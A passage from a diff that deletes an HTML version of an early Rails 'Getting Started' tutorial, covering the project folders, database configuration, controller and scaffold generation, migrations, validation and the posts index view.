-    This file contains batch jobs that can be run from the terminal.
-    </td>
-  </tr>
-  <tr>
-    <td align="left">
-    <tt>app/</tt>
-    </td>
-    <td align="left">
-    Contains the controllers, models, and views for your application. You'll focus on this folder for the remainder of this guide.
-    </td>
-  </tr>
-  <tr>
-    <td align="left">
-    <tt>config/</tt>
-    </td>
-    <td align="left">
-    Configure your application's runtime rules, routes, database, and more.
-    </td>
-  </tr>
-  <tr>
-    <td align="left">
-    <tt>db/</tt>
-    </td>
-    <td align="left">
-    Shows your current database schema, as well as the database migrations. You'll learn about migrations shortly.
-    </td>
-  </tr>
-  <tr>
-    <td align="left">
-    <tt>doc/</tt>
-    </td>
-    <td align="left">
-    In-depth documentation for your application.
-    </td>
-  </tr>
-  <tr>
-    <td align="left">
-    <tt>lib/</tt>
-    </td>
-    <td align="left">
-    Extended modules for your application (not covered in this guide).
-    </td>
-  </tr>
-  <tr>
-    <td align="left">
-    <tt>log/</tt>
-    </td>
-    <td align="left">
-    Application log files.
-    </td>
-  </tr>
-  <tr>
-    <td align="left">
-    <tt>public/</tt>
-    </td>
-    <td align="left">
-    The only folder seen to the world as-is.  This is where your images, javascript, stylesheets (CSS), and other static files go.
-    </td>
-  </tr>
-  <tr>
-    <td align="left">
-    <tt>script/</tt>
-    </td>
-    <td align="left">
-    Scripts provided by Rails to do recurring tasks, such as benchmarking, plugin installation, and starting the console or the web server.
-    </td>
-  </tr>
-  <tr>
-    <td align="left">
-    <tt>test/</tt>
-    </td>
-    <td align="left">
-    Unit tests, fixtures, and other test apparatus. These are covered in <a href="../testing_rails_applications.html">Testing Rails Applications</a>
-    </td>
-  </tr>
-  <tr>
-    <td align="left">
-    <tt>tmp/</tt>
-    </td>
-    <td align="left">
-    Temporary files
-    </td>
-  </tr>
-  <tr>
-    <td align="left">
-    <tt>vendor/</tt>
-    </td>
-    <td align="left">
-    A place for third-party code. In a typical Rails application, this includes Ruby Gems, the Rails source code (if you install it into your project) and plugins containing additional prepackaged functionality.
-    </td>
-  </tr>
-</tbody>
-</table>
-</div>
-<h3 id="_configuring_a_database">3.3. Configuring a Database</h3>
-<div class="para"><p>Just about every Rails application will interact with a database. The database to use is specified in a configuration file, <tt>config/database.yml</tt>.
-If you open this file in a new Rails application, you'll see a default database configuration using SQLite. The file contains sections for three different environments in which Rails can run by default:</p></div>
-<div class="ilist"><ul>
-<li>
-<p>
-The <tt>development</tt> environment is used on your development computer as you interact manually with the application
-</p>
-</li>
-<li>
-<p>
-The <tt>test</tt> environment is used to run automated tests
-</p>
-</li>
-<li>
-<p>
-The <tt>production</tt> environment is used when you deploy your application for the world to use.
-</p>
-</li>
-</ul></div>
-<h4 id="_configuring_a_sqlite_database">3.3.1. Configuring a SQLite Database</h4>
-<div class="para"><p>Rails comes with built-in support for <a href="http://www.sqlite.org/">SQLite</a>, which is a lightweight serverless database application. While a busy production environment may overload SQLite, it works well for development and testing. Rails defaults to using a SQLite database when creating a new project, but you can always change it later.</p></div>
-<div class="para"><p>Here's the section of the default configuration file with connection information for the development environment:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>development<span style="color: #990000">:</span>
-  adapter<span style="color: #990000">:</span> sqlite3
-  database<span style="color: #990000">:</span> db<span style="color: #990000">/</span>development<span style="color: #990000">.</span>sqlite3
-  timeout<span style="color: #990000">:</span> <span style="color: #993399">5000</span>
-</tt></pre></div></div>
-<div class="para"><p>If you don't have any database set up, SQLite is the easiest to get installed. If you're on OS X 10.5 or greater on a Mac, you already have it. Otherwise, you can install it using RubyGems:</p></div>
-<div class="para"><p>If you're not running OS X 10.5 or greater, you'll need to install the SQLite gem.  Similar to installing Rails you just need to run:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>$ gem install sqlite3-ruby
-</tt></pre></div></div>
-<h4 id="_configuring_a_mysql_database">3.3.2. Configuring a MySQL Database</h4>
-<div class="para"><p>If you choose to use MySQL, your <tt>config/database.yml</tt> will look a little different. Here's the development section:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>development<span style="color: #990000">:</span>
-  adapter<span style="color: #990000">:</span> mysql
-  encoding<span style="color: #990000">:</span> utf8
-  database<span style="color: #990000">:</span> blog_development
-  username<span style="color: #990000">:</span> root
-  password<span style="color: #990000">:</span>
-  socket<span style="color: #990000">:</span> <span style="color: #FF6600">/tmp/</span>mysql<span style="color: #990000">.</span>sock
-</tt></pre></div></div>
-<div class="para"><p>If your development computer's MySQL installation includes a root user with an empty password, this configuration should work for you. Otherwise, change the username and password in the <tt>development</tt> section as appropriate.</p></div>
-<h4 id="_configuring_a_postgresql_database">3.3.3. Configuring a PostgreSQL Database</h4>
-<div class="para"><p>If you choose to use PostgreSQL, your <tt>config/database.yml</tt> will be customized to use PostgreSQL databases:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>development<span style="color: #990000">:</span>
-  adapter<span style="color: #990000">:</span> postgresql
-  encoding<span style="color: #990000">:</span> unicode
-  database<span style="color: #990000">:</span> blog_development
-  username<span style="color: #990000">:</span> blog
-  password<span style="color: #990000">:</span>
-</tt></pre></div></div>
-<div class="para"><p>Change the username and password in the <tt>development</tt> section as appropriate.</p></div>
-</div>
-<h2 id="_hello_rails">4. Hello, Rails!</h2>
-<div class="sectionbody">
-<div class="para"><p>One of the traditional places to start with a new language is by getting some text up on screen quickly. To do that in Rails, you need to create at minimum a controller and a view. Fortunately, you can do that in a single command. Enter this command in your terminal:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>$ script/generate controller home index
-</tt></pre></div></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/tip.png" alt="Tip" />
-</td>
-<td class="content">If you're on Windows, or your Ruby is set up in some non-standard fashion, you may need to explicitly pass Rails <tt>script</tt> commands to Ruby: <tt>ruby script/generate controller home index</tt>.</td>
-</tr></table>
-</div>
-<div class="para"><p>Rails will create several files for you, including <tt>app/views/home/index.html.erb</tt>. This is the template that will be used to display the results of the <tt>index</tt> action (method) in the <tt>home</tt> controller. Open this file in your text editor and edit it to contain a single line of code:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">&lt;h1&gt;</span></span>Hello, Rails!<span style="font-weight: bold"><span style="color: #0000FF">&lt;/h1&gt;</span></span>
-</tt></pre></div></div>
-<h3 id="_starting_up_the_web_server">4.1. Starting up the Web Server</h3>
-<div class="para"><p>You actually have a functional Rails application already - after running only two commands! To see it, you need to start a web server on your development machine. You can do this by running another command:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>$ script/server
-</tt></pre></div></div>
-<div class="para"><p>This will fire up the lightweight Webrick web server by default. To see your application in action, open a browser window and navigate to <tt>http://localhost:3000</tt>. You should see Rails' default information page:</p></div>
-<div class="para"><p><span class="image">
-<img src="images/rails_welcome.png" alt="Welcome Aboard screenshot" title="Welcome Aboard screenshot" />
-</span></p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/tip.png" alt="Tip" />
-</td>
-<td class="content">To stop the web server, hit Ctrl+C in the terminal window where it's running. In development mode, Rails does not generally require you to stop the server; changes you make in files will be automatically picked up by the server.</td>
-</tr></table>
-</div>
-<div class="para"><p>The "Welcome Aboard" page is the smoke test for a new Rails application: it makes sure that you have your software configured correctly enough to serve a page. To view the page you just created, navigate to <tt>http://localhost:3000/home/index</tt>.</p></div>
-<h3 id="_setting_the_application_home_page">4.2. Setting the Application Home Page</h3>
-<div class="para"><p>You'd probably like to replace the "Welcome Aboard" page with your own application's home page. The first step to doing this is to delete the default page from your application:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>$ rm public/index<span style="color: #990000">.</span>html
-</tt></pre></div></div>
-<div class="para"><p>Now, you have to tell Rails where your actual home page is located. Open the file <tt>config/routes.rb</tt> in your editor. This is your application's, <em>routing file</em>, which holds entries in a special DSL (domain-specific language) that tells Rails how to connect incoming requests to controllers and actions. At the bottom of the file you'll see the <em>default routes</em>:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>connect <span style="color: #FF0000">':controller/:action/:id'</span>
-map<span style="color: #990000">.</span>connect <span style="color: #FF0000">':controller/:action/:id.:format'</span>
-</tt></pre></div></div>
-<div class="para"><p>The default routes handle simple requests such as <tt>/home/index</tt>: Rails translates that into a call to the <tt>index</tt> action in the <tt>home</tt> controller. As another example, <tt>/posts/edit/1</tt> would run the <tt>edit</tt> action in the <tt>posts</tt> controller with an <tt>id</tt> of 1.</p></div>
-<div class="para"><p>To hook up your home page, you need to add another line to the routing file, above the default routes:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>root <span style="color: #990000">:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"home"</span>
-</tt></pre></div></div>
-<div class="para"><p>This line illustrates one tiny bit of the "convention over configuration" approach: if you don't specify an action, Rails assumes the <tt>index</tt> action.</p></div>
-<div class="para"><p>Now if you navigate to <tt>http://localhost:3000</tt> in your browser, you'll see the <tt>home/index</tt> view.</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/note.png" alt="Note" />
-</td>
-<td class="content">For more information about routing, refer to <a href="../routing_outside_in.html">Rails Routing from the Outside In</a>.</td>
-</tr></table>
-</div>
-</div>
-<h2 id="_getting_up_and_running_quickly_with_scaffolding">5. Getting Up and Running Quickly With Scaffolding</h2>
-<div class="sectionbody">
-<div class="para"><p>Rails <em>scaffolding</em> is a quick way to generate some of the major pieces of an application. If you want to create the models, views, and controllers for a new resource in a single operation, scaffolding is the tool for the job.</p></div>
-</div>
-<h2 id="_creating_a_resource">6. Creating a Resource</h2>
-<div class="sectionbody">
-<div class="para"><p>In the case of the blog application, you can start by generating a scaffolded Post resource: this will represent a single blog posting. To do this, enter this command in your terminal:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>$ script/generate scaffold Post name<span style="color: #990000">:</span>string title<span style="color: #990000">:</span>string content<span style="color: #990000">:</span>text
-</tt></pre></div></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/note.png" alt="Note" />
-</td>
-<td class="content">While scaffolding will get you up and running quickly, the "one size fits all" code that it generates is unlikely to be a perfect fit for your application. In most cases, you'll need to customize the generated code. Many experienced Rails developers avoid scaffolding entirely, preferring to write all or most of their source code from scratch.</td>
-</tr></table>
-</div>
-<div class="para"><p>The scaffold generator will build 13 files in your application, along with some folders, and edit one more. Here's a quick overview of what it creates:</p></div>
-<div class="tableblock">
-<table rules="all"
-frame="hsides"
-cellspacing="0" cellpadding="4">
-<col width="525" />
-<col width="1062" />
-<thead>
-  <tr>
-    <th align="left">
-    File
-    </th>
-    <th align="left">
-    Purpose
-    </th>
-  </tr>
-</thead>
-<tbody valign="top">
-  <tr>
-    <td align="left">
-    app/models/post.rb
-    </td>
-    <td align="left">
-    The Post model
-    </td>
-  </tr>
-  <tr>
-    <td align="left">
-    db/migrate/20081013124235_create_posts.rb
-    </td>
-    <td align="left">
-    Migration to create the posts table in your database (your name will include a different timestamp)
-    </td>
-  </tr>
-  <tr>
-    <td align="left">
-    app/views/posts/index.html.erb
-    </td>
-    <td align="left">
-    A view to display an index of all posts
-    </td>
-  </tr>
-  <tr>
-    <td align="left">
-    app/views/posts/show.html.erb
-    </td>
-    <td align="left">
-    A view to display a single post
-    </td>
-  </tr>
-  <tr>
-    <td align="left">
-    app/views/posts/new.html.erb
-    </td>
-    <td align="left">
-    A view to create a new post
-    </td>
-  </tr>
-  <tr>
-    <td align="left">
-    app/views/posts/edit.html.erb
-    </td>
-    <td align="left">
-    A view to edit an existing post
-    </td>
-  </tr>
-  <tr>
-    <td align="left">
-    app/views/layouts/posts.html.erb
-    </td>
-    <td align="left">
-    A view to control the overall look and feel of the other posts views
-    </td>
-  </tr>
-  <tr>
-    <td align="left">
-    public/stylesheets/scaffold.css
-    </td>
-    <td align="left">
-    Cascading style sheet to make the scaffolded views look better
-    </td>
-  </tr>
-  <tr>
-    <td align="left">
-    app/controllers/posts_controller.rb
-    </td>
-    <td align="left">
-    The Posts controller
-    </td>
-  </tr>
-  <tr>
-    <td align="left">
-    test/functional/posts_controller_test.rb
-    </td>
-    <td align="left">
-    Functional testing harness for the posts controller
-    </td>
-  </tr>
-  <tr>
-    <td align="left">
-    app/helpers/posts_helper.rb
-    </td>
-    <td align="left">
-    Helper functions to be used from the posts views
-    </td>
-  </tr>
-  <tr>
-    <td align="left">
-    config/routes.rb
-    </td>
-    <td align="left">
-    Edited to include routing information for posts
-    </td>
-  </tr>
-  <tr>
-    <td align="left">
-    test/fixtures/posts.yml
-    </td>
-    <td align="left">
-    Dummy posts for use in testing
-    </td>
-  </tr>
-  <tr>
-    <td align="left">
-    test/unit/post_test.rb
-    </td>
-    <td align="left">
-    Unit testing harness for the posts model
-    </td>
-  </tr>
-</tbody>
-</table>
-</div>
-<h3 id="_running_a_migration">6.1. Running a Migration</h3>
-<div class="para"><p>One of the products of the <tt>script/generate scaffold</tt> command is a <em>database migration</em>. Migrations are Ruby classes that are designed to make it simple to create and modify database tables. Rails uses rake commands to run migrations, and it's possible to undo a migration after it's been applied to your database. Migration filenames include a timestamp to ensure that they're processed in the order that they were created.</p></div>
-<div class="para"><p>If you look in the <tt>db/migrate/20081013124235_create_posts.rb</tt> file (remember, yours will have a slightly different name), here's what you'll find:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> CreatePosts <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Migration
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>up
-    create_table <span style="color: #990000">:</span>posts <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>t<span style="color: #990000">|</span>
-      t<span style="color: #990000">.</span>string <span style="color: #990000">:</span>name
-      t<span style="color: #990000">.</span>string <span style="color: #990000">:</span>title
-      t<span style="color: #990000">.</span>text <span style="color: #990000">:</span>content
-
-      t<span style="color: #990000">.</span>timestamps
-    <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>down
-    drop_table <span style="color: #990000">:</span>posts
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>If you were to translate that into words, it says something like: when this migration is run, create a table named <tt>posts</tt> with two string columns (<tt>name</tt> and <tt>title</tt>) and a text column (<tt>content</tt>), and generate timestamp fields to track record creation and updating. You can learn the detailed syntax for migrations in the <a href="../migrations.html">Rails Database Migrations</a> guide.</p></div>
-<div class="para"><p>At this point, you need to do two things: create the database and run the migration. You can use rake commands at the terminal for both of those tasks:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>$ rake db<span style="color: #990000">:</span>create
-$ rake db<span style="color: #990000">:</span>migrate
-</tt></pre></div></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/note.png" alt="Note" />
-</td>
-<td class="content">Because you're working in the development environment by default, both of these commands will apply to the database defined in the <tt>development</tt> section of your <tt>config/database.yml</tt> file.</td>
-</tr></table>
-</div>
-<h3 id="_adding_a_link">6.2. Adding a Link</h3>
-<div class="para"><p>To hook the posts up to the home page you've already created, you can add a link to the home page. Open <tt>/app/views/home/index.html.erb</tt> and modify it as follows:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #FF0000">&lt;h1&gt;</span>Hello<span style="color: #990000">,</span> Rails!<span style="color: #FF0000">&lt;/h1&gt;</span>
-
-<span style="color: #FF0000">&lt;%= link_to "My Blog", posts_path %&gt;</span>
-</tt></pre></div></div>
-<div class="para"><p>The <tt>link_to</tt> method is one of Rails' built-in view helpers. It creates a hyperlink based on text to display and where to go - in this case, to the path for posts.</p></div>
-<h3 id="_working_with_posts_in_the_browser">6.3. Working with Posts in the Browser</h3>
-<div class="para"><p>Now you're ready to start working with posts. To do that, navigate to <tt>http://localhost:3000</tt> and then click the "My Blog" link:</p></div>
-<div class="para"><p><span class="image">
-<img src="images/posts_index.png" alt="Posts Index screenshot" title="Posts Index screenshot" />
-</span></p></div>
-<div class="para"><p>This is the result of Rails rendering the <tt>index</tt> view of your posts. There aren't currently any posts in the database, but if you click the <tt>New Post</tt> link you can create one. After that, you'll find that you can edit posts, look at their details, or destroy them. All of the logic and HTML to handle this was built by the single <tt>script/generate scaffold</tt> command.</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/tip.png" alt="Tip" />
-</td>
-<td class="content">In development mode (which is what you're working in by default), Rails reloads your application with every browser request, so there's no need to stop and restart the web server.</td>
-</tr></table>
-</div>
-<div class="para"><p>Congratulations, you're riding the rails! Now it's time to see how it all works.</p></div>
-<h3 id="_the_model">6.4. The Model</h3>
-<div class="para"><p>The model file, <tt>app/models/post.rb</tt> is about as simple as it can get:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Post <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>There isn't much to this file - but note that the <tt>Post</tt> class inherits from <tt>ActiveRecord::Base</tt>. Active Record supplies a great deal of functionality to your Rails models for free, including basic database CRUD (Create, Read, Update, Destroy) operations, data validation, as well as sophisticated search support and the ability to relate multiple models to one another.</p></div>
-<h3 id="_adding_some_validation">6.5. Adding Some Validation</h3>
-<div class="para"><p>Rails includes methods to help you validate the data that you send to models. Open the <tt>app/models/post.rb</tt> file and edit it:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Post <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  validates_presence_of <span style="color: #990000">:</span>name<span style="color: #990000">,</span> <span style="color: #990000">:</span>title
-  validates_length_of <span style="color: #990000">:</span>title<span style="color: #990000">,</span> <span style="color: #990000">:</span>minimum <span style="color: #990000">=&gt;</span> <span style="color: #993399">5</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>These changes will ensure that all posts have a name and a title, and that the title is at least five characters long. Rails can validate a variety of conditions in a model, including the presence or uniqueness of columns, their format, and the existence of associated objects.</p></div>
-<h3 id="_using_the_console">6.6. Using the Console</h3>
-<div class="para"><p>To see your validations in action, you can use the console. The console is a command-line tool that lets you execute Ruby code in the context of your application:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>$ script/console
-</tt></pre></div></div>
-<div class="para"><p>After the console loads, you can use it to work with your application's models:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #990000">&gt;&gt;</span> p <span style="color: #990000">=</span> Post<span style="color: #990000">.</span>create<span style="color: #990000">(:</span>content <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"A new post"</span><span style="color: #990000">)</span>
-<span style="color: #990000">=&gt;</span> <span style="font-style: italic"><span style="color: #9A1900">#&lt;Post id: nil, name: nil, title: nil, content: "A new post",</span></span>
-created_at<span style="color: #990000">:</span> nil<span style="color: #990000">,</span> updated_at<span style="color: #990000">:</span> nil<span style="color: #990000">&gt;</span>
-<span style="color: #990000">&gt;&gt;</span> p<span style="color: #990000">.</span>save
-<span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">false</span></span>
-<span style="color: #990000">&gt;&gt;</span> p<span style="color: #990000">.</span>errors
-<span style="color: #990000">=&gt;</span> <span style="font-style: italic"><span style="color: #9A1900">#&lt;ActiveRecord::Errors:0x23bcf0c @base=#&lt;Post id: nil, name: nil,</span></span>
-title<span style="color: #990000">:</span> nil<span style="color: #990000">,</span> content<span style="color: #990000">:</span> <span style="color: #FF0000">"A new post"</span><span style="color: #990000">,</span> created_at<span style="color: #990000">:</span> nil<span style="color: #990000">,</span> updated_at<span style="color: #990000">:</span> nil<span style="color: #990000">&gt;,</span>
-@<span style="color: #009900">errors</span><span style="color: #990000">=</span>{<span style="color: #FF0000">"name"</span><span style="color: #990000">=&gt;[</span><span style="color: #FF0000">"can't be blank"</span><span style="color: #990000">],</span> <span style="color: #FF0000">"title"</span><span style="color: #990000">=&gt;[</span><span style="color: #FF0000">"can't be blank"</span><span style="color: #990000">,</span>
-<span style="color: #FF0000">"is too short (minimum is 5 characters)"</span><span style="color: #990000">]</span>}<span style="color: #990000">&gt;</span>
-</tt></pre></div></div>
-<div class="para"><p>This code shows creating a new <tt>Post</tt> instance, attempting to save it and getting <tt>false</tt> for a return value (indicating that the save failed), and inspecting the <tt>errors</tt> of the post.</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/tip.png" alt="Tip" />
-</td>
-<td class="content">Unlike the development web server, the console does not automatically load your code afresh for each line. If you make changes, type <tt>reload!</tt> at the console prompt to load them.</td>
-</tr></table>
-</div>
-<h3 id="_listing_all_posts">6.7. Listing All Posts</h3>
-<div class="para"><p>The easiest place to start looking at functionality is with the code that lists all posts. Open the file <tt>app/controllers/posts_controller.rb </tt> and look at the <tt>index</tt> action:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> index
-  <span style="color: #009900">@posts</span> <span style="color: #990000">=</span> Post<span style="color: #990000">.</span>find<span style="color: #990000">(:</span>all<span style="color: #990000">)</span>
-
-  respond_to <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>format<span style="color: #990000">|</span>
-    format<span style="color: #990000">.</span>html <span style="font-style: italic"><span style="color: #9A1900"># index.html.erb</span></span>
-    format<span style="color: #990000">.</span>xml  <span style="color: #FF0000">{</span> render <span style="color: #990000">:</span>xml <span style="color: #990000">=&gt;</span> <span style="color: #009900">@posts</span> <span style="color: #FF0000">}</span>
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>This code sets the <tt>@posts</tt> instance variable to an array of all posts in the database. <tt>Post.find(:all)</tt> or <tt>Post.all</tt> calls the <tt>Post</tt> model to return all of the posts that are currently in the database, with no limiting conditions.</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/tip.png" alt="Tip" />
-</td>
-<td class="content">For more information on finding records with Active Record, see <a href="../finders.html">Active Record Finders</a>.</td>
-</tr></table>
-</div>
-<div class="para"><p>The <tt>respond_to</tt> block handles both HTML and XML calls to this action. If you browse to <tt>http://localhost:3000/posts.xml</tt>, you'll see all of the posts in XML format. The HTML format looks for a view in <tt>app/views/posts/</tt> with a name that corresponds to the action name. Rails makes all of the instance variables from the action available to the view. Here's <tt>app/view/posts/index.html.erb</tt>:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #FF0000">&lt;h1&gt;</span>Listing posts<span style="color: #FF0000">&lt;/h1&gt;</span>
-
-<span style="color: #FF0000">&lt;table&gt;</span>
-  <span style="color: #FF0000">&lt;tr&gt;</span>
-    <span style="color: #FF0000">&lt;th&gt;</span>Name<span style="color: #FF0000">&lt;/th&gt;</span>
-    <span style="color: #FF0000">&lt;th&gt;</span>Title<span style="color: #FF0000">&lt;/th&gt;</span>
-    <span style="color: #FF0000">&lt;th&gt;</span>Content<span style="color: #FF0000">&lt;/th&gt;</span>
-  <span style="color: #FF0000">&lt;/tr&gt;</span>
-
-<span style="color: #FF0000">&lt;% for post in @posts %&gt;</span>
-  <span style="color: #FF0000">&lt;tr&gt;</span>
-    <span style="color: #FF0000">&lt;td&gt;&lt;%=h post.name %&gt;&lt;/td&gt;</span>
-    <span style="color: #FF0000">&lt;td&gt;&lt;%=h post.title %&gt;&lt;/td&gt;</span>
-    <span style="color: #FF0000">&lt;td&gt;&lt;%=h post.content %&gt;&lt;/td&gt;</span>
-    <span style="color: #FF0000">&lt;td&gt;&lt;%= link_to 'Show', post %&gt;&lt;/td&gt;</span>
-    <span style="color: #FF0000">&lt;td&gt;&lt;%= link_to 'Edit', edit_post_path(post) %&gt;&lt;/td&gt;</span>
-    <span style="color: #FF0000">&lt;td&gt;&lt;%= link_to 'Destroy', post, :confirm =&gt;</span> <span style="color: #FF0000">'Are you sure?'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>method <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>delete <span style="color: #990000">%&gt;</span><span style="color: #FF0000">&lt;/td&gt;</span>
-  <span style="color: #FF0000">&lt;/tr&gt;</span>
-<span style="color: #FF0000">&lt;% end %&gt;</span>
-<span style="color: #FF0000">&lt;/table&gt;</span>
-
-<span style="color: #FF0000">&lt;br /&gt;</span>
-
-<span style="color: #FF0000">&lt;%= link_to 'New post', new_post_path %&gt;</span>
-</tt></pre></div></div>
-<div class="para"><p>This view iterates over the contents of the <tt>@posts</tt> array to display content and links. A few things to note in the view:</p></div>
-<div class="ilist"><ul>
-<li>
-<p>
-<tt>h</tt> is a Rails helper method to sanitize displayed data, preventing cross-site scripting attacks
-</p>
-</li>
-<li>
-<p>
-<tt>link_to</tt> builds a hyperlink to a particular destination
-</p>
-</li>
-<li>
-<p>
-<tt>edit_post_path</tt> is a helper that Rails provides as part of RESTful routing. You’ll see a variety of these helpers for the different actions that the controller includes.
-</p>
-</li>
-</ul></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/tip.png" alt="Tip" />
-</td>
-<td class="content">For more details on the rendering process, see <a href="../layouts_and_rendering.html">Layouts and Rendering in Rails</a>.</td>
-</tr></table>
-</div>
-<h3 id="_customizing_the_layout">6.8. Customizing the Layout</h3>
-<div class="para"><p>The view is only part of the story of how HTML is displayed in your web browser. Rails also has the concept of <tt>layouts</tt>, which are containers for views. When Rails renders a view to the browser, it does so by putting the view's HTML into a layout's HTML. The <tt>script/generate scaffold</tt> command automatically created a default layout, <tt>app/views/layouts/posts.html.erb</tt>, for the posts. Open this layout in your editor and modify the <tt>body</tt> tag:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #990000">&lt;!</span>DOCTYPE html PUBLIC <span style="color: #FF0000">"-//W3C//DTD XHTML 1.0 Transitional//EN"</span>
